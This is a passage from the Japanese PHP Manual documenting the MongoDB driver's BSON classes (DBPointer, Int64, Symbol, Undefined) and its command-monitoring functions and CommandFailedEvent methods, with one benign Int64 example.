  • MongoDB\BSON\DBPointer::__toString ≫
  • PHP Manual
  • MongoDB\BSON\DBPointer
  • Serialize a DBPointer

MongoDB\BSON\DBPointer::serialize

(mongodb >=1.4.0)

MongoDB\BSON\DBPointer::serialize — Serialize a DBPointer

説明

final public MongoDB\BSON\DBPointer::serialize ( ) : string

パラメータ

この関数にはパラメータはありません。

返り値

Returns the serialized representation of the MongoDB\BSON\DBPointer.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

参考

  • MongoDB\BSON\DBPointer::unserialize() - Unserialize a DBPointer
  • serialize() - 値の保存可能な表現を生成する
  • Serializing Objects

User Contributed Notes

There are no user contributed notes for this page.


Returns an empty string

  • ≪ MongoDB\BSON\DBPointer::serialize
  • MongoDB\BSON\DBPointer::unserialize ≫
  • PHP Manual
  • MongoDB\BSON\DBPointer
  • Returns an empty string

MongoDB\BSON\DBPointer::__toString

(mongodb >=1.4.0)

MongoDB\BSON\DBPointer::__toString — Returns an empty string

説明

final public MongoDB\BSON\DBPointer::__toString ( ) : string

パラメータ

この関数にはパラメータはありません。

返り値

Returns an empty string.

参考

  • » BSON Types

User Contributed Notes

There are no user contributed notes for this page.


Unserialize a DBPointer

  • ≪ MongoDB\BSON\DBPointer::__toString
  • MongoDB\BSON\Int64 ≫
  • PHP Manual
  • MongoDB\BSON\DBPointer
  • Unserialize a DBPointer

MongoDB\BSON\DBPointer::unserialize

(mongodb >=1.4.0)

MongoDB\BSON\DBPointer::unserialize — Unserialize a DBPointer

説明

final public MongoDB\BSON\DBPointer::unserialize ( string $serialized ) : void

パラメータ

serialized

The serialized MongoDB\BSON\DBPointer.

返り値

Returns the unserialized MongoDB\BSON\DBPointer.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

参考

  • MongoDB\BSON\DBPointer::serialize() - Serialize a DBPointer
  • unserialize() - 保存用表現から PHP の値を生成する
  • Serializing Objects

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\BSON\Int64 class

(mongodb >=1.5.0)

はじめに

BSON type for a 64-bit integer. This class cannot be instantiated and is only created during BSON decoding when a 64-bit integer cannot be represented as a PHP integer on a 32-bit platform. Versions of the driver before 1.5.0 would throw an exception when attempting to decode a 64-bit integer on a 32-bit platform.

During BSON encoding, objects of this class will convert back to a 64-bit integer type. This allows 64-bit integers to be roundtripped through a 32-bit PHP environment without any loss of precision. The __toString() method allows the 64-bit integer value to be accessed as a string.

注意: This class exists purely for 32-bit platforms. Applications on 64-bit platforms (i.e. PHP_INT_SIZE is 8) should never encounter this class during normal operation.

クラス概要

final MongoDB\BSON\Int64 implements MongoDB\BSON\Type , Serializable , JsonSerializable {
/* メソッド */
final private __construct ( )
final public jsonSerialize ( ) : mixed
final public serialize ( ) : string
final public __toString ( ) : string
final public unserialize ( string $serialized ) : void
}

目次

  • MongoDB\BSON\Int64::__construct — Construct a new Int64 (unused)
  • MongoDB\BSON\Int64::jsonSerialize — Returns a representation that can be converted to JSON
  • MongoDB\BSON\Int64::serialize — Serialize an Int64
  • MongoDB\BSON\Int64::__toString — Returns the string representation of this Int64
  • MongoDB\BSON\Int64::unserialize — Unserialize an Int64

User Contributed Notes

There are no user contributed notes for this page.


Construct a new Int64 (unused)

  • ≪ MongoDB\BSON\Int64
  • MongoDB\BSON\Int64::jsonSerialize ≫
  • PHP Manual
  • MongoDB\BSON\Int64
  • Construct a new Int64 (unused)

MongoDB\BSON\Int64::__construct

(mongodb >=1.5.0)

MongoDB\BSON\Int64::__construct — Construct a new Int64 (unused)

説明

final private MongoDB\BSON\Int64::__construct ( )

MongoDB\BSON\Int64 objects are created through conversion from a 64-bit integer BSON type on a 32-bit platform and cannot be constructed directly.

パラメータ

この関数にはパラメータはありません。

参考

  • » BSON Types

User Contributed Notes

There are no user contributed notes for this page.


Returns a representation that can be converted to JSON

  • ≪ MongoDB\BSON\Int64::__construct
  • MongoDB\BSON\Int64::serialize ≫
  • PHP Manual
  • MongoDB\BSON\Int64
  • Returns a representation that can be converted to JSON

MongoDB\BSON\Int64::jsonSerialize

(mongodb >=1.5.0)

MongoDB\BSON\Int64::jsonSerialize — Returns a representation that can be converted to JSON

説明

final public MongoDB\BSON\Int64::jsonSerialize ( ) : mixed

パラメータ

この関数にはパラメータはありません。

返り値

Returns data which can be serialized by json_encode() to produce an extended JSON representation of the MongoDB\BSON\Int64.

注意: The output is consistent with the MongoDB\BSON\toCanonicalExtendedJSON() function, which uses the » canonical extended JSON format. This differs from other BSON classes, which use the driver-specific legacy extended JSON format (MongoDB\BSON\toJSON()), in order to ensure that the 64-bit integer value is correctly represented on 32-bit platforms.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

参考

  • JsonSerializable::jsonSerialize() - JSON にシリアライズしたいデータを指定する
  • json_encode() - 値を JSON 形式にして返す
  • MongoDB\BSON\toCanonicalExtendedJSON() - Returns the Canonical Extended JSON representation of a BSON value
  • MongoDB\BSON\toRelaxedExtendedJSON() - Returns the Relaxed Extended JSON representation of a BSON value
  • » MongoDB Extended JSON

User Contributed Notes

There are no user contributed notes for this page.


Serialize an Int64

  • ≪ MongoDB\BSON\Int64::jsonSerialize
  • MongoDB\BSON\Int64::__toString ≫
  • PHP Manual
  • MongoDB\BSON\Int64
  • Serialize an Int64

MongoDB\BSON\Int64::serialize

(mongodb >=1.5.0)

MongoDB\BSON\Int64::serialize — Serialize an Int64

説明

final public MongoDB\BSON\Int64::serialize ( ) : string

パラメータ

この関数にはパラメータはありません。

返り値

Returns the serialized representation of the MongoDB\BSON\Int64.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

参考

  • MongoDB\BSON\Int64::unserialize() - Unserialize an Int64
  • serialize() - 値の保存可能な表現を生成する
  • Serializing Objects

User Contributed Notes

There are no user contributed notes for this page.


Returns the string representation of this Int64

  • ≪ MongoDB\BSON\Int64::serialize
  • MongoDB\BSON\Int64::unserialize ≫
  • PHP Manual
  • MongoDB\BSON\Int64
  • Returns the string representation of this Int64

MongoDB\BSON\Int64::__toString

(mongodb >=1.5.0)

MongoDB\BSON\Int64::__toString — Returns the string representation of this Int64

説明

final public MongoDB\BSON\Int64::__toString ( ) : string

パラメータ

この関数にはパラメータはありません。

返り値

Returns the string representation of this Int64.

例

例1 MongoDB\BSON\Int64::__toString() example

<?php

$int64 = unserialize('C:18:"MongoDB\BSON\Int64":47:{a:1:{s:7:"integer";s:19:"9223372036854775807";}}');

var_dump((string) $int64);

?>

上の例の出力は、 たとえば以下のようになります。

string(19) "9223372036854775807"

参考

  • » BSON Types

User Contributed Notes

There are no user contributed notes for this page.


Unserialize an Int64

  • ≪ MongoDB\BSON\Int64::__toString
  • MongoDB\BSON\Symbol ≫
  • PHP Manual
  • MongoDB\BSON\Int64
  • Unserialize an Int64

MongoDB\BSON\Int64::unserialize

(mongodb >=1.5.0)

MongoDB\BSON\Int64::unserialize — Unserialize an Int64

説明

final public MongoDB\BSON\Int64::unserialize ( string $serialized ) : void

パラメータ

serialized

The serialized MongoDB\BSON\Int64.

返り値

Returns the unserialized MongoDB\BSON\Int64.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。
  • Throws MongoDB\Driver\Exception\UnexpectedValueException if the properties cannot be unserialized (i.e. serialized was malformed).
  • Throws MongoDB\Driver\Exception\InvalidArgumentException if the properties are invalid (e.g. missing fields or invalid values).

参考

  • MongoDB\BSON\Int64::serialize() - Serialize an Int64
  • unserialize() - 保存用表現から PHP の値を生成する
  • Serializing Objects

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\BSON\Symbol class (deprecated)

(mongodb >=1.4.0)

はじめに

BSON type for the "Symbol" type. This BSON type is deprecated, and this class can not be instantiated. It will be created from a BSON symbol type while converting BSON to PHP, and can also be converted back into BSON while storing documents in the database.

クラス概要

final MongoDB\BSON\Symbol implements MongoDB\BSON\Type , Serializable , JsonSerializable {
/* メソッド */
final private __construct ( )
final public jsonSerialize ( ) : mixed
final public serialize ( ) : string
final public __toString ( ) : string
final public unserialize ( string $serialized ) : void
}

目次

  • MongoDB\BSON\Symbol::__construct — Construct a new Symbol (unused)
  • MongoDB\BSON\Symbol::jsonSerialize — Returns a representation that can be converted to JSON
  • MongoDB\BSON\Symbol::serialize — Serialize a Symbol
  • MongoDB\BSON\Symbol::__toString — Returns the Symbol as a string
  • MongoDB\BSON\Symbol::unserialize — Unserialize a Symbol

User Contributed Notes

There are no user contributed notes for this page.


Construct a new Symbol (unused)

  • ≪ MongoDB\BSON\Symbol
  • MongoDB\BSON\Symbol::jsonSerialize ≫
  • PHP Manual
  • MongoDB\BSON\Symbol
  • Construct a new Symbol (unused)

MongoDB\BSON\Symbol::__construct

(mongodb >=1.4.0)

MongoDB\BSON\Symbol::__construct — Construct a new Symbol (unused)

説明

final private MongoDB\BSON\Symbol::__construct ( )

MongoDB\BSON\Symbol objects are created through conversion from a deprecated BSON type and cannot be constructed directly.

パラメータ

この関数にはパラメータはありません。

参考

  • » BSON Types

User Contributed Notes

There are no user contributed notes for this page.


Returns a representation that can be converted to JSON

  • ≪ MongoDB\BSON\Symbol::__construct
  • MongoDB\BSON\Symbol::serialize ≫
  • PHP Manual
  • MongoDB\BSON\Symbol
  • Returns a representation that can be converted to JSON

MongoDB\BSON\Symbol::jsonSerialize

(mongodb >=1.4.0)

MongoDB\BSON\Symbol::jsonSerialize — Returns a representation that can be converted to JSON

説明

final public MongoDB\BSON\Symbol::jsonSerialize ( ) : mixed

パラメータ

この関数にはパラメータはありません。

返り値

Returns data which can be serialized by json_encode() to produce an extended JSON representation of the MongoDB\BSON\Symbol.

注意: The output is consistent with the MongoDB\BSON\toJSON() function, which uses the driver-specific legacy extended JSON format. This does not necessarily match the » relaxed or » canonical extended JSON representations used by MongoDB\BSON\toRelaxedExtendedJSON() and MongoDB\BSON\toCanonicalExtendedJSON(), respectively.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

参考

  • JsonSerializable::jsonSerialize() - JSON にシリアライズしたいデータを指定する
  • json_encode() - 値を JSON 形式にして返す
  • MongoDB\BSON\toCanonicalExtendedJSON() - Returns the Canonical Extended JSON representation of a BSON value
  • MongoDB\BSON\toRelaxedExtendedJSON() - Returns the Relaxed Extended JSON representation of a BSON value
  • » MongoDB Extended JSON

User Contributed Notes

There are no user contributed notes for this page.


Serialize a Symbol

  • ≪ MongoDB\BSON\Symbol::jsonSerialize
  • MongoDB\BSON\Symbol::__toString ≫
  • PHP Manual
  • MongoDB\BSON\Symbol
  • Serialize a Symbol

MongoDB\BSON\Symbol::serialize

(mongodb >=1.4.0)

MongoDB\BSON\Symbol::serialize — Serialize a Symbol

説明

final public MongoDB\BSON\Symbol::serialize ( ) : string

パラメータ

この関数にはパラメータはありません。

返り値

Returns the serialized representation of the MongoDB\BSON\Symbol.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

参考

  • MongoDB\BSON\Symbol::unserialize() - Unserialize a Symbol
  • serialize() - 値の保存可能な表現を生成する
  • Serializing Objects

User Contributed Notes

There are no user contributed notes for this page.


Returns the Symbol as a string

  • ≪ MongoDB\BSON\Symbol::serialize
  • MongoDB\BSON\Symbol::unserialize ≫
  • PHP Manual
  • MongoDB\BSON\Symbol
  • Returns the Symbol as a string

MongoDB\BSON\Symbol::__toString

(mongodb >=1.4.0)

MongoDB\BSON\Symbol::__toString — Returns the Symbol as a string

説明

final public MongoDB\BSON\Symbol::__toString ( ) : string

パラメータ

この関数にはパラメータはありません。

返り値

Returns the string representation of this Symbol.

参考

  • » BSON Types

User Contributed Notes

There are no user contributed notes for this page.


Unserialize a Symbol

  • ≪ MongoDB\BSON\Symbol::__toString
  • MongoDB\BSON\Undefined ≫
  • PHP Manual
  • MongoDB\BSON\Symbol
  • Unserialize a Symbol

MongoDB\BSON\Symbol::unserialize

(mongodb >=1.4.0)

MongoDB\BSON\Symbol::unserialize — Unserialize a Symbol

説明

final public MongoDB\BSON\Symbol::unserialize ( string $serialized ) : void

パラメータ

serialized

The serialized MongoDB\BSON\Symbol.

返り値

Returns the unserialized MongoDB\BSON\Symbol.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

参考

  • MongoDB\BSON\Symbol::serialize() - Serialize a Symbol
  • unserialize() - 保存用表現から PHP の値を生成する
  • Serializing Objects

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\BSON\Undefined class (deprecated)

(mongodb >=1.4.0)

はじめに

BSON type for the "Undefined" type. This BSON type is deprecated, and this class can not be instantiated. It will be created from a BSON undefined type while converting BSON to PHP, and can also be converted back into BSON while storing documents in the database.

クラス概要

final MongoDB\BSON\Undefined implements MongoDB\BSON\Type , Serializable , JsonSerializable {
/* メソッド */
final private __construct ( )
final public jsonSerialize ( ) : mixed
final public serialize ( ) : string
final public __toString ( ) : string
final public unserialize ( string $serialized ) : void
}

目次

  • MongoDB\BSON\Undefined::__construct — Construct a new Undefined (unused)
  • MongoDB\BSON\Undefined::jsonSerialize — Returns a representation that can be converted to JSON
  • MongoDB\BSON\Undefined::serialize — Serialize a Undefined
  • MongoDB\BSON\Undefined::__toString — Returns an empty string
  • MongoDB\BSON\Undefined::unserialize — Unserialize a Undefined

User Contributed Notes

There are no user contributed notes for this page.


Construct a new Undefined (unused)

  • ≪ MongoDB\BSON\Undefined
  • MongoDB\BSON\Undefined::jsonSerialize ≫
  • PHP Manual
  • MongoDB\BSON\Undefined
  • Construct a new Undefined (unused)

MongoDB\BSON\Undefined::__construct

(mongodb >=1.4.0)

MongoDB\BSON\Undefined::__construct — Construct a new Undefined (unused)

説明

final private MongoDB\BSON\Undefined::__construct ( )

MongoDB\BSON\Undefined objects are created through conversion from a deprecated BSON type and cannot be constructed directly.

パラメータ

この関数にはパラメータはありません。

参考

  • » BSON Types

User Contributed Notes

There are no user contributed notes for this page.


Returns a representation that can be converted to JSON

  • ≪ MongoDB\BSON\Undefined::__construct
  • MongoDB\BSON\Undefined::serialize ≫
  • PHP Manual
  • MongoDB\BSON\Undefined
  • Returns a representation that can be converted to JSON

MongoDB\BSON\Undefined::jsonSerialize

(mongodb >=1.4.0)

MongoDB\BSON\Undefined::jsonSerialize — Returns a representation that can be converted to JSON

説明

final public MongoDB\BSON\Undefined::jsonSerialize ( ) : mixed

パラメータ

この関数にはパラメータはありません。

返り値

Returns data which can be serialized by json_encode() to produce an extended JSON representation of the MongoDB\BSON\Undefined.

注意: The output is consistent with the MongoDB\BSON\toJSON() function, which uses the driver-specific legacy extended JSON format. This does not necessarily match the » relaxed or » canonical extended JSON representations used by MongoDB\BSON\toRelaxedExtendedJSON() and MongoDB\BSON\toCanonicalExtendedJSON(), respectively.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

参考

  • JsonSerializable::jsonSerialize() - JSON にシリアライズしたいデータを指定する
  • json_encode() - 値を JSON 形式にして返す
  • MongoDB\BSON\toCanonicalExtendedJSON() - Returns the Canonical Extended JSON representation of a BSON value
  • MongoDB\BSON\toRelaxedExtendedJSON() - Returns the Relaxed Extended JSON representation of a BSON value
  • » MongoDB Extended JSON

User Contributed Notes

There are no user contributed notes for this page.


Serialize a Undefined

  • ≪ MongoDB\BSON\Undefined::jsonSerialize
  • MongoDB\BSON\Undefined::__toString ≫
  • PHP Manual
  • MongoDB\BSON\Undefined
  • Serialize a Undefined

MongoDB\BSON\Undefined::serialize

(mongodb >=1.4.0)

MongoDB\BSON\Undefined::serialize — Serialize a Undefined

説明

final public MongoDB\BSON\Undefined::serialize ( ) : string

パラメータ

この関数にはパラメータはありません。

返り値

Returns the serialized representation of the MongoDB\BSON\Undefined.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

参考

  • MongoDB\BSON\Undefined::unserialize() - Unserialize a Undefined
  • serialize() - 値の保存可能な表現を生成する
  • Serializing Objects

User Contributed Notes

There are no user contributed notes for this page.


Returns an empty string

  • ≪ MongoDB\BSON\Undefined::serialize
  • MongoDB\BSON\Undefined::unserialize ≫
  • PHP Manual
  • MongoDB\BSON\Undefined
  • Returns an empty string

MongoDB\BSON\Undefined::__toString

(mongodb >=1.4.0)

MongoDB\BSON\Undefined::__toString — Returns an empty string

説明

final public MongoDB\BSON\Undefined::__toString ( ) : string

パラメータ

この関数にはパラメータはありません。

返り値

Returns an empty string.

参考

  • » BSON Types

User Contributed Notes

There are no user contributed notes for this page.


Unserialize a Undefined

  • ≪ MongoDB\BSON\Undefined::__toString
  • MongoDB\Driver\Monitoring ≫
  • PHP Manual
  • MongoDB\BSON\Undefined
  • Unserialize a Undefined

MongoDB\BSON\Undefined::unserialize

(mongodb >=1.4.0)

MongoDB\BSON\Undefined::unserialize — Unserialize a Undefined

説明

final public MongoDB\BSON\Undefined::unserialize ( string $serialized ) : void

パラメータ

serialized

The serialized MongoDB\BSON\Undefined.

返り値

Returns the unserialized MongoDB\BSON\Undefined.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

参考

  • MongoDB\BSON\Undefined::serialize() - Serialize a Undefined
  • unserialize() - 保存用表現から PHP の値を生成する
  • Serializing Objects

User Contributed Notes

There are no user contributed notes for this page.


Monitoring classes and subscriber functions

  • 関数
    • MongoDB\Driver\Monitoring\addSubscriber — Registers a new monitoring event subscriber
    • MongoDB\Driver\Monitoring\removeSubscriber — Unregisters an existing monitoring event subscriber
  • MongoDB\Driver\Monitoring\CommandFailedEvent — The MongoDB\Driver\Monitoring\CommandFailedEvent class
    • MongoDB\Driver\Monitoring\CommandFailedEvent::getCommandName — Returns the command name
    • MongoDB\Driver\Monitoring\CommandFailedEvent::getDurationMicros — Returns the command's duration in microseconds
    • MongoDB\Driver\Monitoring\CommandFailedEvent::getError — Returns the Exception associated with the failed command
    • MongoDB\Driver\Monitoring\CommandFailedEvent::getOperationId — Returns the command's operation ID
    • MongoDB\Driver\Monitoring\CommandFailedEvent::getReply — Returns the command reply document
    • MongoDB\Driver\Monitoring\CommandFailedEvent::getRequestId — Returns the command's request ID
    • MongoDB\Driver\Monitoring\CommandFailedEvent::getServer — Returns the Server on which the command was executed
  • MongoDB\Driver\Monitoring\CommandStartedEvent — The MongoDB\Driver\Monitoring\CommandStartedEvent class
    • MongoDB\Driver\Monitoring\CommandStartedEvent::getCommand — Returns the command document
    • MongoDB\Driver\Monitoring\CommandStartedEvent::getCommandName — Returns the command name
    • MongoDB\Driver\Monitoring\CommandStartedEvent::getDatabaseName — Returns the database on which the command was executed
    • MongoDB\Driver\Monitoring\CommandStartedEvent::getOperationId — Returns the command's operation ID
    • MongoDB\Driver\Monitoring\CommandStartedEvent::getRequestId — Returns the command's request ID
    • MongoDB\Driver\Monitoring\CommandStartedEvent::getServer — Returns the Server on which the command was executed
  • MongoDB\Driver\Monitoring\CommandSucceededEvent — The MongoDB\Driver\Monitoring\CommandSucceededEvent class
    • MongoDB\Driver\Monitoring\CommandSucceededEvent::getCommandName — Returns the command name
    • MongoDB\Driver\Monitoring\CommandSucceededEvent::getDurationMicros — Returns the command's duration in microseconds
    • MongoDB\Driver\Monitoring\CommandSucceededEvent::getOperationId — Returns the command's operation ID
    • MongoDB\Driver\Monitoring\CommandSucceededEvent::getReply — Returns the command reply document
    • MongoDB\Driver\Monitoring\CommandSucceededEvent::getRequestId — Returns the command's request ID
    • MongoDB\Driver\Monitoring\CommandSucceededEvent::getServer — Returns the Server on which the command was executed
  • MongoDB\Driver\Monitoring\CommandSubscriber — The MongoDB\Driver\Monitoring\CommandSubscriber interface
    • MongoDB\Driver\Monitoring\CommandSubscriber::commandFailed — Notification method for a failed command
    • MongoDB\Driver\Monitoring\CommandSubscriber::commandStarted — Notification method for a started command
    • MongoDB\Driver\Monitoring\CommandSubscriber::commandSucceeded — Notification method for a successful command
  • MongoDB\Driver\Monitoring\Subscriber — The MongoDB\Driver\Monitoring\Subscriber interface

User Contributed Notes

There are no user contributed notes for this page.


関数

目次

  • MongoDB\Driver\Monitoring\addSubscriber — Registers a new monitoring event subscriber
  • MongoDB\Driver\Monitoring\removeSubscriber — Unregisters an existing monitoring event subscriber

User Contributed Notes

There are no user contributed notes for this page.


Registers a new monitoring event subscriber

  • ≪ 関数
  • MongoDB\Driver\Monitoring\removeSubscriber ≫
  • PHP Manual
  • 関数
  • Registers a new monitoring event subscriber

MongoDB\Driver\Monitoring\addSubscriber

(mongodb >=1.3.0)

MongoDB\Driver\Monitoring\addSubscriber — Registers a new monitoring event subscriber

説明

MongoDB\Driver\Monitoring\addSubscriber ( MongoDB\Driver\Monitoring\Subscriber $subscriber ) : void

Registers a new monitoring event subscriber with the driver. Registered subscribers will be notified of monitoring events through specific methods.

注意: If the object is already registered, this function is a no-op.

パラメータ

subscriber (MongoDB\Driver\Monitoring\Subscriber)

A monitoring event subscriber object to register.

返り値

値を返しません。

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

参考

  • MongoDB\Driver\Monitoring\Subscriber
  • MongoDB\Driver\Monitoring\CommandSubscriber
  • MongoDB\Driver\Monitoring\removeSubscriber() - Unregisters an existing monitoring event subscriber
  • Application Performance Monitoring (APM)

User Contributed Notes

There are no user contributed notes for this page.


Unregisters an existing monitoring event subscriber

  • ≪ MongoDB\Driver\Monitoring\addSubscriber
  • MongoDB\Driver\Monitoring\CommandFailedEvent ≫
  • PHP Manual
  • 関数
  • Unregisters an existing monitoring event subscriber

MongoDB\Driver\Monitoring\removeSubscriber

(mongodb >=1.3.0)

MongoDB\Driver\Monitoring\removeSubscriber — Unregisters an existing monitoring event subscriber

説明

MongoDB\Driver\Monitoring\removeSubscriber ( MongoDB\Driver\Monitoring\Subscriber $subscriber ) : void

Unregisters an existing monitoring event subscriber from the driver. Unregistered subscribers will no longer be notified of monitoring events.

注意: If the object is not registered, this function is a no-op.

パラメータ

subscriber (MongoDB\Driver\Monitoring\Subscriber)

A monitoring event subscriber object to unregister.

返り値

値を返しません。

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

参考

  • MongoDB\Driver\Monitoring\Subscriber
  • MongoDB\Driver\Monitoring\CommandSubscriber
  • MongoDB\Driver\Monitoring\addSubscriber() - Registers a new monitoring event subscriber
  • Application Performance Monitoring (APM)

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\Driver\Monitoring\CommandFailedEvent class

(mongodb >=1.3.0)

はじめに

The MongoDB\Driver\Monitoring\CommandFailedEvent class encapsulates information about a failed command.

クラス概要

final MongoDB\Driver\Monitoring\CommandFailedEvent {
/* メソッド */
final public getCommandName ( ) : string
final public getDurationMicros ( ) : int
final public getError ( ) : Exception
final public getOperationId ( ) : string
final public getReply ( ) : object
final public getRequestId ( ) : string
final public getServer ( ) : MongoDB\Driver\Server
}

目次

  • MongoDB\Driver\Monitoring\CommandFailedEvent::getCommandName — Returns the command name
  • MongoDB\Driver\Monitoring\CommandFailedEvent::getDurationMicros — Returns the command's duration in microseconds
  • MongoDB\Driver\Monitoring\CommandFailedEvent::getError — Returns the Exception associated with the failed command
  • MongoDB\Driver\Monitoring\CommandFailedEvent::getOperationId — Returns the command's operation ID
  • MongoDB\Driver\Monitoring\CommandFailedEvent::getReply — Returns the command reply document
  • MongoDB\Driver\Monitoring\CommandFailedEvent::getRequestId — Returns the command's request ID
  • MongoDB\Driver\Monitoring\CommandFailedEvent::getServer — Returns the Server on which the command was executed

User Contributed Notes

There are no user contributed notes for this page.


Returns the command name

  • ≪ MongoDB\Driver\Monitoring\CommandFailedEvent
  • MongoDB\Driver\Monitoring\CommandFailedEvent::getDurationMicros ≫
  • PHP Manual
  • MongoDB\Driver\Monitoring\CommandFailedEvent
  • Returns the command name

MongoDB\Driver\Monitoring\CommandFailedEvent::getCommandName

(mongodb >=1.3.0)

MongoDB\Driver\Monitoring\CommandFailedEvent::getCommandName — Returns the command name

説明

final public MongoDB\Driver\Monitoring\CommandFailedEvent::getCommandName ( ) : string

Returns the command name (e.g. "find", "aggregate").

パラメータ

この関数にはパラメータはありません。

返り値

Returns the command name.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

参考

  • Application Performance Monitoring (APM)

User Contributed Notes

There are no user contributed notes for this page.


Returns the command's duration in microseconds

  • ≪ MongoDB\Driver\Monitoring\CommandFailedEvent::getCommandName
  • MongoDB\Driver\Monitoring\CommandFailedEvent::getError ≫
  • PHP Manual
  • MongoDB\Driver\Monitoring\CommandFailedEvent
  • Returns the command's duration in microseconds

MongoDB\Driver\Monitoring\CommandFailedEvent::getDurationMicros

(mongodb >=1.3.0)

MongoDB\Driver\Monitoring\CommandFailedEvent::getDurationMicros — Returns the command's duration in microseconds

説明

final public MongoDB\Driver\Monitoring\CommandFailedEvent::getDurationMicros ( ) : int

The command's duration is a calculated value that includes the time to send the message and receive the reply from the server.

パラメータ

この関数にはパラメータはありません。

返り値

Returns the command's duration in microseconds.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

参考

  • Application Performance Monitoring (APM)

User Contributed Notes

There are no user contributed notes for this page.


Returns the Exception associated with the failed command

  • ≪ MongoDB\Driver\Monitoring\CommandFailedEvent::getDurationMicros
  • MongoDB\Driver\Monitoring\CommandFailedEvent::getOperationId ≫
  • PHP Manual
  • MongoDB\Driver\Monitoring\CommandFailedEvent
  • Returns the Exception associated with the failed command

MongoDB\Driver\Monitoring\CommandFailedEvent::getError

(mongodb >=1.3.0)

MongoDB\Driver\Monitoring\CommandFailedEvent::getError — Returns the Exception associated with the failed command

説明

final public MongoDB\Driver\Monitoring\CommandFailedEvent::getError ( ) : Exception

パラメータ

この関数にはパラメータはありません。

返り値

Returns the Exception associated with the failed command.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

参考

  • Application Performance Monitoring (APM)

User Contributed Notes

There are no user contributed notes for this page.


Returns the command's operation ID

  • ≪ MongoDB\Driver\Monitoring\CommandFailedEvent::getError
  • MongoDB\Driver\Monitoring\CommandFailedEvent::getReply ≫
  • PHP Manual
  • MongoDB\Driver\Monitoring\CommandFailedEvent
  • Returns the command's operation ID

MongoDB\Driver\Monitoring\CommandFailedEvent::getOperationId

(mongodb >=1.3.0)

MongoDB\Driver\Monitoring\CommandFailedEvent::getOperationId — Returns the command's operation ID

説明

final public MongoDB\Driver\Monitoring\CommandFailedEvent::getOperationId ( ) : string

The operation ID is generated by the driver and may be used to link events together such as bulk write operations, which may have been split across several commands at the protocol level.

注意: Since multiple commands may share the same operation ID, it is not reliable to use this value to associate event objects with each other. The request ID returned by MongoDB\Driver\Monitoring\CommandFailedEvent::getRequestId() should be used instead.

パラメータ

この関数にはパラメータはありません。

返り値

Returns the command's operation ID.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

参考

  • MongoDB\Driver\Monitoring\CommandStartedEvent::getOperationId() - Returns the command's operation ID
  • MongoDB\Driver\Monitoring\CommandFailedEvent::getRequestId() - Returns the command's request ID
  • Application Performance Monitoring (APM)

User Contributed Notes

There are no user contributed notes for this page.


Returns the command reply document

  • ≪ MongoDB\Driver\Monitoring\CommandFailedEvent::getOperationId
  • MongoDB\Driver\Monitoring\CommandFailedEvent::getRequestId ≫
  • PHP Manual
  • MongoDB\Driver\Monitoring\CommandFailedEvent
  • Returns the command reply document

MongoDB\Driver\Monitoring\CommandFailedEvent::getReply

(mongodb >=1.5.0)

MongoDB\Driver\Monitoring\CommandFailedEvent::getReply — Returns the command reply document

説明

final public MongoDB\Driver\Monitoring\CommandFailedEvent::getReply ( ) : object

The reply document will be converted from BSON to PHP using the default deserialization rules (e.g. BSON documents will be converted to stdClass).

パラメータ

この関数にはパラメータはありません。

返り値

Returns the command reply document as a stdClass object.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

参考

  • Application Performance Monitoring (APM)
  • Persisting Data

User Contributed Notes

There are no user contributed notes for this page.


Returns the command's request ID

  • ≪ MongoDB\Driver\Monitoring\CommandFailedEvent::getReply
  • MongoDB\Driver\Monitoring\CommandFailedEvent::getServer ≫
  • PHP Manual
  • MongoDB\Driver\Monitoring\CommandFailedEvent
  • Returns the command's request ID

MongoDB\Driver\Monitoring\CommandFailedEvent::getRequestId

(mongodb >=1.3.0)

MongoDB\Driver\Monitoring\CommandFailedEvent::getRequestId — Returns the command's request ID

説明

final public MongoDB\Driver\Monitoring\CommandFailedEvent::getRequestId ( ) : string

The request ID is generated by the driver and may be used to associate this MongoDB\Driver\Monitoring\CommandFailedEvent with a previous MongoDB\Driver\Monitoring\CommandStartedEvent.

パラメータ

この関数にはパラメータはありません。

返り値

Returns the command's request ID.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

参考

  • MongoDB\Driver\Monitoring\CommandStartedEvent::getRequestId() - Returns the command's request ID
  • Application Performance Monitoring (APM)

User Contributed Notes

There are no user contributed notes for this page.


Returns the Server on which the command was executed

  • ≪ MongoDB\Driver\Monitoring\CommandFailedEvent::getRequestId
  • MongoDB\Driver\Monitoring\CommandStartedEvent ≫
  • PHP Manual
  • MongoDB\Driver\Monitoring\CommandFailedEvent
  • Returns the Server on which the command was executed

